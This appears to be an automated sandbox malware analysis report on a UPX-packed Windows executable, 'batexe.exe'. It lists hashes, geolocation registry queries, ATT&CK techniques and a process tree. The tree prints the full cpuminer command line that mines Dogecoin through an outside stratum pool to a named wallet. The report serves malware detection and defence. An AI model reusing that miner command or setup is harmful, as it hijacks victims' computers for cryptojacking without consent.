73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 08:14

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1712835645-2080934712-2142796781-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1712835645-2080934712-2142796781-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2344	b2e.exe
3860	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3860	cpuminer-sse2.exe
3860	cpuminer-sse2.exe
3860	cpuminer-sse2.exe
3860	cpuminer-sse2.exe
3860	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1388-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1388 wrote to memory of 2344	1388	batexe.exe	90
PID 1388 wrote to memory of 2344	1388	batexe.exe	90
PID 1388 wrote to memory of 2344	1388	batexe.exe	90
PID 2344 wrote to memory of 2288	2344	b2e.exe	92
PID 2344 wrote to memory of 2288	2344	b2e.exe	92
PID 2344 wrote to memory of 2288	2344	b2e.exe	92
PID 2288 wrote to memory of 3860	2288	cmd.exe	95
PID 2288 wrote to memory of 3860	2288	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1388
- C:\Users\Admin\AppData\Local\Temp\57E4.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\57E4.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\57E4.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5BBC.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2288
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\57E4.tmp\b2e.exe

Filesize
26.4MB

MD5
cf99e1ad77ce405566a0536126408680

SHA1
022b20579eda24208f645cdd86e055284bc7c77a

SHA256
a43413a8c79a8632834e40a61c365ee2ab65f8ca9951db46dc852578c5b7df6e

SHA512
fae51dbb3ca7dc6bb85882d210d6917e628aebd63e6755a090b13868fcaebf69a8e903425be156576b214d13be6466e4c245957f82f0a74d63d59cc26c024ba0

Download Submit
C:\Users\Admin\AppData\Local\Temp\57E4.tmp\b2e.exe

Filesize
9.6MB

MD5
b040b616665ab19474313141578c5dbb

SHA1
c6a236d60457f620abccc75af2ea06e6ae0afffa

SHA256
859691b8507279e5caa04a02257391e49511fac78eeaff4cc4d110d66df2cc6e

SHA512
44e68b9c9d791ac70140ccf09718a372a25f5d0b973673defab1d9eb6cc83dde46f68f6653eeb5343e73484e6d042c3e56dab14ed000d321da289236cb3f8f65

Download Submit
C:\Users\Admin\AppData\Local\Temp\57E4.tmp\b2e.exe

Filesize
10.3MB

MD5
4f65746c5155649200369e0bb0d744a4

SHA1
6c845da6c8d584aacc6f83bb97fd7110e22450fb

SHA256
110537d50246e0bba7ffd6e8df34c7fdf3f3a9b8ada51be535b1502df4d20efb

SHA512
44af6588ab1eca0ada4584dc51f5604f9656097bd52ba59bfde5604c3a57735e9dba28a0943564c2069482a764f264dfcb162b90c21c6e2fa267144d099dadca

Download Submit
C:\Users\Admin\AppData\Local\Temp\5BBC.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
832KB

MD5
43dd8ab1a0fd7f177db516faa81a9635

SHA1
66a8b6940797f3396a4f1a6deafca1fda5bffcdd

SHA256
d4b58fa7e09511b58f312b57e2067823a7f31ff5cd6369cbf5ef3667c27b60ea

SHA512
064753e38fb6e2d64a8ce067a52c24b55eb11cf714a534f3557a0e2bd2f5fba16030d8496c7787f4b272ae6a696f4b017d99771488832d12711a7158c927f772

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
64KB

MD5
42871db599b90c630b2d75268c8b0116

SHA1
fb3a97b9517d4abe248a7c1a0fe0f528f40b29bc

SHA256
80110dd27dac90724987601037bc7d4bccdce1afd95aeffbfd8cacd813b891cb

SHA512
c32a1b46ab54abcaf179759b2aaa5aeec58a353ebe552b09ce1980ab54a9c702ae1e348c2a9c2020f74fa7c7bfb4d4bac78396f76b6bac04227436deca800438

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
752KB

MD5
ce457c5caf8ab82eccf3407b720a3021

SHA1
f7b087f7db0cca48bb04e29558646776283fd276

SHA256
68f1c510aa0c1f4cd4a39168f0168fd082cf64d77c0b10118c07908c14f0a0e8

SHA512
a40f19cd65d61a119e591061dc65f388262016506599cd2c9ca63478d829690e4eea3dcfa5ed02edac2fdbc05e0e8cc5cbf036b332f8edf56e44cc971c1abaa6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
448KB

MD5
19a61444b6e2d01755ede80960bca19c

SHA1
e0c7222784d3e2b3329ec3280648b17fd60ef209

SHA256
13fd488b38f3b75438e9ad0a033df005cd397f3c92f43275714a0a7eb3fb4db8

SHA512
bc02c82bdac19f10f3e3a93d3f507bb7838c9255b7cff5af6e3a7f3b471dae9c45c52728c3c23857b3402dd1702cb51a20f225a4da992c26a997c26d86b6b1d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
768KB

MD5
fe316f2b417e142dffa0e03efb65e1a4

SHA1
907805b2c3bc0a0791086cb5fc8e3a950bc78e6d

SHA256
aca06866767d9e0bbe1e9bef7efce1152d34243e1acefc5f7ac4f6a245456671

SHA512
8ebfa0700b00c4064d1ded11fc1b4001f01238ee0c4cf88a873e0ccf38c30a574d600649bfdef85f2e3aec5c279a43680f7a66604bc6f27bbda0219e3786774d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
512KB

MD5
6162b21c54b88c5c990e82aee951ebb4

SHA1
477384ab8ebe5f5a5d5a91603736d9ef53c12fd4

SHA256
462eb68967c7205145d0b92e4f3b69297f616187b07a189178f35f288063aff4

SHA512
6264ee49c4b8a6eaa69241e10ff9ab39445f85a57b756b8bc0530b45d77827d05e669dc06b689d4693db34e4161ef11b2cfe6f1954b0b90bcd434e81a938a40d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
768KB

MD5
613807ad6d525aded318b643c33bc17e

SHA1
2c9a4180140838c69c20bc4047c3d2d777d3bee4

SHA256
896775bd33edafb0d219d1ae3e973e71aa29a4937d0252bd3a4cad074c004971

SHA512
d688b0f2570944898097dcc6acb56b3a4c901073f0ce22b5ea260b05a37fe2840d84b44e7aa74c7d73078b0e5a45c24994852f5c03f049982b6ddca6ead89539

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
448KB

MD5
ca123cec7f705c0af114e462349dc686

SHA1
75f90b4d95f6774b2f66e4ba790755ef118ab222

SHA256
7f141cdc0be9c965e21310bcfb0484b20d31ffd8a6a970f8b5a53c0e8974798a

SHA512
650125faa9ae6733f1118caf3101ca6850473f78f9bfc3a87e908eac1c69935e3bc269ffb5de4dd6e867429c1af35c7f3b9e62eb698fa7c9695d68e7115f3f1c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
448KB

MD5
9d1a04f05f75671a5a3ffeb995176c52

SHA1
a45018bb6a5dd52b310c1eb77262354365925a76

SHA256
c777e9d786f5d1d13f78a925453804bf53ee430a38f893f115c2d1ac0f2f07ff

SHA512
d19ea63c26c1d41edd5947d0c5ae70e2461c876563c2baeb1fd4a3986254f7919f8d4c32a9d6b9f4c51c4d5a23ffa90a2011d293a106a0a8813295b2bee06e1f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
512KB

MD5
5fd46a66845c804b88dcd97ffcd66652

SHA1
9556ce5607bdd245c8e4d6a24b8217def653f57b

SHA256
b7fd85a2268a4d62fa15fde3d9e51d6fa3bc865cb4d8e5fdca309be7b027f193

SHA512
0896697d588401a6d29c30e77574ece4f0ba699b082b1bad93964748313a5903eb4994ec81c61bfcbd75f2be3f5200dadda3fd1454381cc5874a9c8952ebeedc

Download Submit
memory/1388-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2344-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2344-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3860-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3860-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3860-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3860-47-0x0000000001140000-0x00000000029F5000-memory.dmp

Filesize
24.7MB

Download
memory/3860-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3860-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3860-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3860-45-0x0000000066260000-0x00000000662F8000-memory.dmp

Filesize
608KB

Download
memory/3860-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3860-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3860-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3860-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3860-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3860-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download